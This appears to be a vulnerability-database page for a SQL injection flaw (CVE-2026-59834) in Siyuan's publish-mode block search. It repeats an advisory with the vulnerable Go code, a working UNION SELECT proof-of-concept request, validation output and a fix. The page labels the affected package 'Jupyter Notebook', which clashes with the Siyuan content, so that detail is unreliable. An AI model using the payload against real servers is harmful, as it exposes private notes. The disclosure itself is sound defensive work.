## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST...
Full CISO analysis pending enrichment.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Jupyter Notebook | go | < 0.0.0-20260704035518-d0f0fe146fb0 | 0.0.0-20260704035518-d0f0fe146fb0 |
Do you use Jupyter Notebook? You're affected.
How severe is it?
What is the attack surface?
What should I do?
Patch available
Update Jupyter Notebook to version 0.0.0-20260704035518-d0f0fe146fb0
Which compliance frameworks are affected?
Compliance analysis pending. Sign in for full compliance mapping when available.
Frequently Asked Questions
What is CVE-2026-59834?
## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor. ## Affected Code The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths: ```go if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } ``` Source: `input/siyuan/kernel/api/search.go` `paths[]` is parsed into notebook IDs and paths without SQL escaping or validation: ```go path := p.(string) box := strings.TrimSpace(strings.Split(path, "/")[0]) if "" != box { boxes = append(boxes, box) } path = strings.TrimSpace(strings.TrimPrefix(path, box)) if "" != path { paths = append(paths, path) } ``` Source: `input/siyuan/kernel/api/search.go` Those values are then concatenated directly into SQL: ```go builder.WriteString(fmt.Sprintf("box = '%s'", box)) ``` ```go builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)) ``` Source: `input/siyuan/kernel/model/search.go` Regexp search executes the resulting statement: ```go stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize) ``` Source: `input/siyuan/kernel/model/search.go` The read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`: ```go for _, block := range blocks { passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess) if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } } ``` Source: `input/siyuan/kernel/model/publish_access.go` ## Attack Scenario 1. A Siyuan instance enables the publish service. 2. At least one document is visible to publish visitors. 3. At least one document is hidden from publish visitors. 4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint. 5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`. 6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path. ## Proof of Concept ```http POST /api/search/fullTextSearchBlock HTTP/1.1 Host: <publish-service-host> Content-Type: application/json { "query": "SECRET-LIVE-SQLI-20260609", "method": 3, "page": 1, "pageSize": 10, "paths": [ "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- " ] } ``` `VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read. ## Validation Setup: - Started `b3log/siyuan:latest` with an isolated temporary workspace. - Created one notebook. - Created a visible document containing `public apple marker`. - Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`. - Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`. - Enabled publish mode with `POST /api/setting/setPublish`. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token. Control request through the publish service for the hidden marker returned no blocks: ```json { "code": 0, "msg": "", "data": { "blocks": [], "docMode": false, "matchedBlockCount": 1, "matchedRootCount": 1, "pageCount": 1 } } ``` The injected request through the publish service returned the hidden block: ```json { "code": 0, "msg": "", "data": { "blocks": [ { "box": "20260609095146-19hud1e", "path": "/20260609095209-1ljs6o7.sy", "hPath": "/HiddenDoc", "id": "20260609095209-gttlrue", "rootID": "20260609095209-yaz7i3h", "parentID": "20260609095209-yaz7i3h", "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker", "markdown": "SECRET-LIVE-SQLI-20260609 apple marker", "type": "NodeParagraph" } ], "docMode": false, "matchedBlockCount": 0, "matchedRootCount": 0, "pageCount": 0 } } ``` The returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it. ## Impact An unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests. ## Remediation Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example: ```sql box = ? path LIKE ? ``` Then pass the user-controlled notebook ID and path prefix as query arguments. Additional hardening: - Validate notebook IDs before query construction. - Validate document paths against Siyuan's normalized `.sy` path format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections. - Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `'`, `)`, `UNION`, and `--`.
Is CVE-2026-59834 actively exploited?
No confirmed active exploitation of CVE-2026-59834 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-59834?
Update to patched version: Jupyter Notebook 0.0.0-20260704035518-d0f0fe146fb0.
What is the CVSS score for CVE-2026-59834?
CVE-2026-59834 has a CVSS v3.1 base score of 7.5 (HIGH). The EPSS exploitation probability is 0.51%.
What are the technical details?
Original Advisory
## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor. ## Affected Code The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths: ```go if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } ``` Source: `input/siyuan/kernel/api/search.go` `paths[]` is parsed into notebook IDs and paths without SQL escaping or validation: ```go path := p.(string) box := strings.TrimSpace(strings.Split(path, "/")[0]) if "" != box { boxes = append(boxes, box) } path = strings.TrimSpace(strings.TrimPrefix(path, box)) if "" != path { paths = append(paths, path) } ``` Source: `input/siyuan/kernel/api/search.go` Those values are then concatenated directly into SQL: ```go builder.WriteString(fmt.Sprintf("box = '%s'", box)) ``` ```go builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)) ``` Source: `input/siyuan/kernel/model/search.go` Regexp search executes the resulting statement: ```go stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize) ``` Source: `input/siyuan/kernel/model/search.go` The read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`: ```go for _, block := range blocks { passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess) if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } } ``` Source: `input/siyuan/kernel/model/publish_access.go` ## Attack Scenario 1. A Siyuan instance enables the publish service. 2. At least one document is visible to publish visitors. 3. At least one document is hidden from publish visitors. 4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint. 5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`. 6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path. ## Proof of Concept ```http POST /api/search/fullTextSearchBlock HTTP/1.1 Host: <publish-service-host> Content-Type: application/json { "query": "SECRET-LIVE-SQLI-20260609", "method": 3, "page": 1, "pageSize": 10, "paths": [ "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- " ] } ``` `VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read. ## Validation Setup: - Started `b3log/siyuan:latest` with an isolated temporary workspace. - Created one notebook. - Created a visible document containing `public apple marker`. - Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`. - Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`. - Enabled publish mode with `POST /api/setting/setPublish`. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token. Control request through the publish service for the hidden marker returned no blocks: ```json { "code": 0, "msg": "", "data": { "blocks": [], "docMode": false, "matchedBlockCount": 1, "matchedRootCount": 1, "pageCount": 1 } } ``` The injected request through the publish service returned the hidden block: ```json { "code": 0, "msg": "", "data": { "blocks": [ { "box": "20260609095146-19hud1e", "path": "/20260609095209-1ljs6o7.sy", "hPath": "/HiddenDoc", "id": "20260609095209-gttlrue", "rootID": "20260609095209-yaz7i3h", "parentID": "20260609095209-yaz7i3h", "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker", "markdown": "SECRET-LIVE-SQLI-20260609 apple marker", "type": "NodeParagraph" } ], "docMode": false, "matchedBlockCount": 0, "matchedRootCount": 0, "pageCount": 0 } } ``` The returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it. ## Impact An unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests. ## Remediation Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example: ```sql box = ? path LIKE ? ``` Then pass the user-controlled notebook ID and path prefix as query arguments. Additional hardening: - Validate notebook IDs before query construction. - Validate document paths against Siyuan's normalized `.sy` path format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections. - Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `'`, `)`, `UNION`, and `--`.
Weaknesses (CWE)
CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'): The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
- [Architecture and Design] If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N References
- github.com/advisories/GHSA-h89q-4j2h-7h88
- github.com/siyuan-note/siyuan/commit/57bcad4b331836880bfe6be25d4180bdcf10db0d
- github.com/siyuan-note/siyuan/commit/d0f0fe146fb07d594fcadc4f48d4f7c30ac01d1e
- github.com/siyuan-note/siyuan/releases/tag/v3.7.1
- github.com/siyuan-note/siyuan/security/advisories/GHSA-h89q-4j2h-7h88
- nvd.nist.gov/vuln/detail/CVE-2026-59834
Timeline
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